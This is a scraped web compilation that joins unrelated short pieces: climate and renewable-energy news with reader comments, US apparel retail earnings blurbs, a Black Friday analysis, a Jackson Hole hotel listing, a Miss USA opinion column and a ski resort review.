Chavez also signed a deal with a Portuguese company for the purchase of 1.5 million low-cost laptops. Venezuela already has bought 850,000 of the Portuguese-built computers designed for young schoolchildren. Venezuelan and Portuguese officials signed agreements pledging to deepen trade and cooperation in areas including agriculture and public housing.
Mediterranean nations agree to combat climate change
Some 15 Mediterranean countries, including Israel and the Palestinian Authority, agreed Friday to work together to combat the effects of climate change that threaten the region. The countries signed a declaration at a climate change conference near Athens in Greece which called for "contributing to the emergence of low carbon, resource efficient and climate resilient economies."
"Climate change threatens our way of life as people of the Mediterranean," said Greek Prime Minister George Papandreou, who initiated the conference attended by his counterparts from Turkey, Libya, Malta, Turkey and the Palestinian Authority and environment ministers from some 15 countries.
The Mediterranean Climate Change Initiative also aimed "at developing common Mediterranean positions on climate change demonstrating leadership and strong commitment to action in the international arena," a text of the declaration in English said. The agreement among the Mediterranean nations to address the problem of global warming, despite political conflicts between some of them, was hailed by some as a diplomatic breakthrough.
The Mediterranean initiative comes about a month before the United Nations conference on climate change which will be held in late November in Cancun, Mexico.
Scores of new hydropower projects are in some stage of development throughout North America as efforts to limit carbon emissions push utilities to seek more renewable power. The number of applications to build new hydropower projects in North America is on the rise amid pressure to reduce carbon emissions through the increased use of renewable resources for power production.
Many of these new projects venture far beyond the traditional concept of hydropower production from man-made reservoirs. Developers are pursuing projects that extract power from ocean waves, river currents, irrigation canals, and water pipelines. Other new projects target existing dams originally built for flood control and navigation.
Industry experts say the potential to make low-cost power from water has barely been tapped. Of the existing dams in the U.S., only 3 percent, or around 2,400, are equipped to produce electricity. The Department of Energy (DOE) estimates another 30,000 MW of hydropower capacity, including 17,000 MW at existing dams, could be developed in the U.S.
A study commissioned by the National Hydropower Association (NHA) shows a greater potential for new development. The technical potential for hydropower capacity in the U.S. is 400,000 MW, four times greater than the nation's existing capacity of 100,000 MW, the study by Navigant Consulting shows. If the potential for new capacity is met, about 1.4 million jobs could be created by 2025, the study indicates.
Windstalk: Wind Power Without Blades
The science behind New York design firm Atelier DNA's "windstalks" is simple kinetic energy; the same energy found in a field of swaying prairie grass. Like many of the Land Art Generator exhibits, Atelier takes it cue directly from Nature to deliver resource-economical and highly effective but visually intriguing forms of energy and energy conservation.
Windstalk specifications call for 1,203 highly flexible carbon fiber poles 180 feet high and one foot in diameter at the base tapering to 2 inches at the top. The poles are filled with piezoelectric ceramic discs alternating with electrodes connected by cables along the length of each pole – one cable for positive-pole electrodes, another for negative-polarity electrodes. When the wind blows, the flexing of the poles compresses the discs, generating a charge which flows through the electrodes. Light-emitting diodes, or LEDs, at the top of each pole glow brighter or dimmer depending on the amount of energy being generated, or go entirely dark when the wind isn't blowing.
Windstalk has also successfully evaded the more common complaints surrounding traditional wind turbines, namely, that they are noisy, emit annoying vibrations that affect humans, cows and other animals, and kill birds. In addition, designers have managed to incorporate energy storage that mimics hydropower.
Sponsored by Masdar City, an emerging, clean technology zone located outside Abu Dhabi in the United Arab Emirates, or UAE, the competition awarded Atelier's offering, simply named Windstalk, second prize. Masdar City, which aims to be the world's first carbon neutral and self-sufficient city via clean energy technologies like wind and solar, is being built by the Abu Dhabi Future Energy Company, a wholly owned subsidiary of Mubadala Development Company.
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It would seem that there will be a tremendous market for appliance sized, and inexpensive solar powered
home desalination appliances. Bad water, salt water, pathogen contaminated water can be made potable cheaply with solar power. Small is beautiful; not 'rivers in the desert' but instead, pure water for cooking, drinking and drip irrigation for a household. Ocean water is still free.
70 mpg, without a Hybrid
A new Mazda model debuting in Japan gets its high fuel economy from an improved gas engine and a lightweight design.
Benin: UN to send thousands of tents amid major floods
Thailand flooding threatens Bangkok
Global food crisis forecast as prices reach record highs
Why would oil prices come down?
Is extreme weather going to intensify as the temp rises?
2012 is predicted to be the hotest year yet. Things are not good.
Global food crisis forecast as prices reach record highs….
They say this is particularly possible if the price of oil jumps, if there are further climatic shocks – suchas the floods in Pakistan or the heatwave in Russia – or if speculators buy deeper into global food markets.
"There is growing concern among countries about continuing volatility and uncertainty in food markets," said Robert Zoellick, president of the World Bank. "These concerns have been compounded by recent increases in grain prices.
Semi-climate related:
The magazine said the water temperature was in the mid- to high-80s, and several swimmers were treated for heat exhaustion after the race.
Swimmers were the first to respond when Crippen failed to arrive at the finish. Several returned to the water to search for him and were soon followed by a dive team. Crippen's body was found just before the last buoy on the 2-kilometer triangular course, race organizers said.
Maglione said it was the first death in any FINA event.
Very sad in any case.
Net-zero must be the focus!
Stop the emissions.
Detox: Get the CO2 out of the environment.
This comes from US General Services Administration and is the way to go.
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Photos: Weather wreaks havoc; massive flooding in Asia, epic drought in Brazil
Due to a drought caused by the El Nino climate phenomenon, the Negro river in Brazil hit its lowest level in a century. Meanwhile, much of Thailand remains…
World's Largest Offshore Wind Farm Begun by China http://cleantechnica.com/2010/10/23/worlds-largest-offshore-wind-farm-begun-by-china/
This intelli is just in … china the leader of the 2nd industrial revolution? Do we soon buy all our clean tech from china?
Unusual Trading Activity for China Ming Yang Wind Power Group
China Is Racing On The Wings Of Wind Power
According to an Industrial Association of renewable energy report, China manufactures 2 wind turbines per hour. The installed wind farm capacity is expected to grow from the present 25,800 MW to over 150,000 MW in 2020. http://www.energytribune.com/articles.cfm/5670/China-Is-Racing-On-The-Wings-Of-Wind-Power
Growing Arctic ship traffic will bring with it air pollution that has the potential to accelerate climate change in the world's northern reaches. And it's more than a greenhouse gas problem — engine exhaust particles could increase warming by some 17-78 percent, the researchers say.
Grass roots are suddenly waking up to the nightmare…
I'm not going to be the one to draw a line between the potatoes rotting in Delta's fields and our tendency to abuse the planet, because someone would surely write in saying that's presumptuous, but things aren't looking too good, are they?
On one hand, it's really, really great that Delta's farmers are getting as much media and political attention as they are, but on the other hand, it's because people are throwing around words like "disaster" and "out of business."
The B.C. Vegetable Marketing Commission estimates that over 2,900 acres of potatoes and 4,622 aces of vegetables have been lost so far, and MLA Vicki Huntington speculated it is the worst season for farmers in 80 years.
You can give the municipality kudos for buying hybrids, installing solar panels and running the Climate Smart program for local businesses — the steps Delta has taken definitely put some other municipalities to shame — but without a concrete yet outside-the-box plan, that 30 per cent reduction in greenhouse gases won't be reached.
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The Limits of Black Friday and Cyber Monday
Black Friday and Cyber Monday offer up plenty of deals for consumers. For retailers, the shopping extravaganzas are a mixed bag.
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Black Friday has long been the year's biggest retail-sales day. And now, the following Monday is the ultimate online-shopping event. For the first time last year, Cyber Monday accounted for more online sales than any other day; that is likely to hold true this year as well, with U.S. online sales expected to increase 17% year-over-year to about $1.2 billion, estimates Andrew Lipsman of comScore.
Yet higher sales volumes can have a downside. Shoppers, after finding the item they want, often don't make follow-up purchases. Plus, such sales might simply detract from quieter shopping periods in November and early December. In turn, retailers may compete so heavily that margins suffer. Rather than profits, Greg Melich of ISI Group says the days are aimed at "grabbing mindshare and traffic for the whole holiday season."
Even worse, retailers are less likely to win long-term customers with holiday promotions. In the early days of Internet retail, some consumers had their first online-shopping experiences during the holidays, leading them to keep returning to a particular site in later months. Indeed, Mr. Lipsman says that after online sales spiked in November and December, sales in ensuing months would remain above preholiday levels. But that "step up" effect has lessened in the last few years, he says.
That means retailers need more ways to hold onto shoppers, such as free shipping. But such efforts can again cut into margins. Consider Amazon.com's AMZN 1.28 % new Kindle Fire tablet, which includes a free month of the company's Prime membership. With Prime, which normally costs $79 a year, shoppers can buy a wide range of products without paying shipping charges. So, even while Amazon looks to cash in on the holiday hype—it even distributes advertising fliers like traditional retailers—the goal is a long-term customer relationship.
Many traditional retailers are trying to do likewise through, for example, a service called ShopRunner, which charges a flat $79 a year for two-day shipping from 90 retailers, including Toys "R" Us and American Eagle Outfitters. AEO 1.73 %
Both Black Friday and Cyber Monday have become events that retailers can't ignore. But for all the hoopla, the days don't ensure that customers will keep coming back.
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In the most recent fourth-quarter filings from US apparel brands and retailers, Destination Maternity and Perry Ellis saw their losses narrow, while New York & Co moved to a net profit. However, Iconix Brand Group cut its outlook after swinging to a loss, Finish Line saw its net profit plummet 90%, and Cherokee Global Brands posted a mixed performance.
With the holiday season done and dusted, US apparel and footwear retailers are now counting the cost. In the most recent results, New York & Co has narrowed its fourth-quarter outlook despite posting an increase in comparable store sales, while Express has lifted its guidance. Shoe Carnival, Genesco and American Eagle Outfitters all booked increases. However, Bon-Ton Stores and Ascena Retail Group posted declines.
Second-quarter earnings for the retail sector as a whole are forecast to be lower than the prior month, despite easy year-on-year comparisons. The Finish Line posted a small drop in net income, Zumiez saw its profit more than halve, Cherokee Global Brands posted a double-digit decline in net earnings, while Christopher & Banks swung to a loss, and Hudson's Bay was back in the black.
First-quarter revenue forecasts for US apparel retailers fared far worse than earnings expectations. The Finish Line said it got off to a "solid start" with double-digit profit growth, and Cherokee was pleased with a "strong" quarter, despite some headwinds. Elsewhere, Urban Outfitters revealed a mixed quarter, while Men's Wearhouse booked record sales but a decline in earnings.
US department store retailer The Bon-Ton Stores has booked mixed results in its fourth-quarter as sales and earnings grew but gross margin narrowed on increased promotional activity.
US department store retailer The Bon-Ton Stores has lowered its full-year earnings guidance and announced the retirement of chief financial officer Keith Plowman.
US department store retailer The Bon-Ton Stores has lowered its full-year outlook as it posted a wider net loss in its third-quarter.
US department store retailer The Bon-Ton Stores has narrowed its net loss slightly in the second quarter.
US department store retailer The Bon-Ton Stores has appointed former Belk chief merchandising officer, Kathryn Bufano, as its CEO.
US women's wear retailer Christopher & Banks has appointed former National Stores executive, Lynn Derry as its senior vice president, general merchandise manager.
Prolonged adverse weather conditions resulted in a financial performance that came in below expectations for US department store retailer The Bon-Ton Stores in its first-quarter.
The CEO of The Bon-Ton Stores, Brendan Hoffman has announced his decision to step down next year as the US department store retailer revealed a drop in fourth-quarter earnings and sales.
US department store retailer The Bon-Ton Stores plans to open a new e-commerce fulfilment centre in Ohio to support its growing multi-channel operations.
US department store retailer The Bon-Ton Stores has said it could swing to a full-year loss after unfavourable weather weighed on December comparable store sales.
US department store operator The Bon-Ton Stores has narrowed its loss during the third quarter, after lower expenses offset a decline in sales.
US department store operator The Bon-Ton Stores cut its second quarter net loss by nearly US$8m, but saw comparable store sales decline by 6.4% in the period.
Department store retailer Bon-Ton Stores has seen its first-quarter losses narrow, boosted by higher sales and fewer markdowns.
Department store operator Bon-Ton Stores has reported a slight increase in first-quarter sales, despite unfavourable weather conditions and cooler temperatures.
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US department store operator Bon-Ton Stores has seen its third-quarter net losses narrow after efforts to improve merchandise helped lift sales.
US department store operator Bon-Ton has eliminated the chief operating officer position and dismissed Barbara Schrantz, who currently holds the position.
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Rustic Inn Creekside Resort And Spa At Jackson Hole
Rustic Inn Creekside Resort And Spa At Jackson Hole
Hotel Guest Rating: 8.7/10
475 North Cache Drive
Jackson, WY 83002
Welcome to the Rustic Inn Creekside Resort And Spa At Jackson Hole
Along with shuttle service to the Teton Village ski area, the lodge-style Rustic Inn Creekside Resort and Spa at Jackson Hole offers guests a heated outdoor pool, Wi-Fi and hot breakfast from a scenic locale overlooking Flat Creek.
Hotel Features
The 167 log-cabin style, non-smoking rooms at the Rustic Inn come with Wi-Fi and flat-panel TVs. Private cabin units with fireplaces and patios are also available. Before a day on the slopes, chow down at the breakfast buffet. Guests can also enjoy meals and drinks in the fireside lobby lounge. Burn calories in the gym or enjoy a relaxing dip in the heated outdoor pool, which is open year-round. The on-site laundry and business services provide extra convenience
Hotel Location
The property is adjacent to the National Elk Refuge near the north edge of downtown Jackson. The Grand Teton National Park is 12 miles away. Free shuttle rides get you from the inn to the Teton Village ski area, 13 mikes away, and Jackson Hole Airport, nine miles away. The Salt Lake City International Airport is 296 miles.
Guest Favorites
Priceline guests say the Rustic Inn Creekside Resort is warm and welcoming with fun, cabin-like rooms.
Rustic Inn Creekside Resort And Spa At Jackson Hole Amenities
- 24-hour front desk
- 24-hour security
- Accessible parking
- Air conditioning
- Alarm clock
- AM/FM radio
- Bell staff/porter
- Buffet breakfast
- Business center
- Cable television
- Cocktail lounge
- Color television
- Complimentary in-room coffee or tea
- Concierge desk
- Dry cleaning
- Early check-in
- Fire safety compliant
- Free credit card access calls
- Free local calls
- Free toll free calls
- Front desk
- Full service housekeeping
- Gym
- Hairdryer
- Heated pool
- High speed internet access
- High speed internet access fee
- High speed internet access for laptop in public areas
- Housekeeping - daily
- Internet services
- Iron
- Ironing board
- Late check-out available
- Laundry/Valet service
- Lobby coffee service
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- Massage services
- On-site business center
- On-Site parking
- Outdoor pool
- Parking
- Parking lot
- Phone services
- Pool
- Private bath or shower
- Public area air conditioned
- Remote control television
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- Room service - limited hours
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- Train access
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- Transportation services - local area
- Transportation services - local office
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- Wheel chair access
- Whirlpool
- Wireless internet connection in public areas
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Please note that full payment will be taken upon booking. Contact the property for more information. Guests are required to show a photo identification and credit card upon check-in. Please note that all Special Requests are subject to availability and additional charges may apply.
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Comfortable walking distance to the center .The hotel services was very good ,housekeeping extremely friendly and halpful.
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staff very friendly and accomodating
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October 23, 2014
I would have sworn we live in America where as adults we are free to choose what we watch. Probably a great case for the ACLU. 2 1/2 stars is the highest rating this hotel should deserve.
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its location across the street from the visitors center was ideal for planing day trips
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Miss USA 2010: Six Ways to Revive the Pageant
They were textbook Trump, the lingerie photos of Miss USA hopefuls that spread across the Internet this week. News outlets tripped over each other trying to be the first to call them a publicity stunt, plain and simple. Well, yeah. Professional outlandishness is the Donald's forte — and no one needs the profile boost like Miss USA, who, after 58 years, is looking over the hill.
Still, there are things besides a black mesh corset that could turn this trainwreck around. Not in time for today's edition, of course. But, Mr. Trump, if the pinup shots don't leave you rolling in ratings, there's always next year.
A makeover, in the most literal sense.
We know what we're getting when we tune into a pageant: stiff smiles, shellacked hair and spackled faces. In other words, the epitome of beauty, circa 1952. Times have changed. Compare the painted-doll look with the glowy, tousle-haired models gracing magazine covers and the Victoria's Secret Fashion Show runway. That's what brings in viewers. And speaking of the Victoria's Secret Fashion Show…
Learn from the angels.
Know how many people watched the Victoria's Secret Fashion Show last year? 8.3 million. Only 5 million watched last year's Miss USA, and that was a 12 percent drop from the year before. The Angels wear lingerie for a living, so you could argue they've got an edge over pageant queens. But the skin quotient aside, the two can't be compared in terms of spectacles — with its elaborate costumes, energetic music and high production values, the Fashion Show is the Cirque du Soleil to Miss USA's middle-school band concert. The pageant could benefit from loosening up the format and taking some creative chances — we're living in the age of Gaga, after all.
Amp up the talent portion.
Here's a big reason why Miss USA has trouble capturing today's audiences — Americans are used to seeing truly gifted people flaunt their stuff, a la programs like "American Idol" and "So You Think You Can Dance." The talent portion of a beauty pageant comes off as an afterthought, a box they have to check off, and it's a wasted opportunity to memorably connect with viewers.
Introduce the girls sooner — like, weeks sooner.
A couple years back, Trump had a brainstorm: he'd throw some pageant girls in a condo, film them and edit the footage into a reality show. Genius idea. One problem: these girls had all already won their respective contests. There was nothing at stake and nothing for viewers to sink their teeth into. Now, if Trump would have made the show before the pageant — and aired, say, six episodes of the girls preparing for the penultimate moment of their young lives — you can bet viewers would have tuned into the contest, and maybe would have even cared who won.
Invite designers to the table.
Here's something I've always found strange about pageants. A large part of them is devoted to watching girls strut around in floor-length gowns — yet, with the exception of one recent Miss America contestant whom I distinctly remember wearing Reem Acra, these girls are never in couture. In a world of Zac Posen for Target and Rachel Zoe reality shows (read: in a world where the entire fashion community needs all the press it can get), there's got to be a way to bring better clothes to pageants.
Work harder in the off-season.
Quick — who's Kristen Dalton? Answer: the reigning Miss USA. Like most pageant queens, she spent her year working for a great cause — in this case, ovarian and breast cancer awareness. If only the pageant's publicity department had done as admirable a job. A recap of Dalton's reign names a stint on "Are You Smarter Than a Fifth Grader?" as one of the highlights. Now you know why you didn't know who she was. Getting pageant winners into cosmetics campaigns would help a lot, but even getting them onto more red carpets would, too. And to anyone who wants to argue that it's not easy to turn everyday girls into household names, I leave you with one word: Snooki.


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I bought a vacation home a few miles from Powder Mountain a few years ago. I did so without ever skiing Powder Mountain. I only skied Snow Basin. I had heard PM was antiquated etc. The lodge apparently has not been updated since it opened around 1972. I hesitate to even do this review because now I don't want PM to change. It is a blast from the past and a great mountain. I am able to find fresh powder 10 days after the last snowfall. Where else can you do that? The tree skiing is fantastic! All the snow is real! Beginners and intermediates alike will love the wide groomed runs and there are no crowds. Snowbasin with all it's bells and whistles is the playboy playmate of the two resorts. She is fun to be around occasionally and keep on the side. Powder Mountain is the great girl next door. You loved her when you were a kid and she still makes your heart flutter.
A word of caution! The road to and from PM can be treacherous. You basically park at the top of the mountain. If you don't have 4WD or chains in snow and or ice, forget about driving to the top. There are PM buses that will get you up the mountain. Driving down can be scary for the weak of heart or first timers. DON'T ride your brakes going down hill!! Gear down, take your time and tap the brakes ONLY as needed! Every year someone rides their brakes going down and has a bad accident when their brakes finnally give out. Be safe and have fun.
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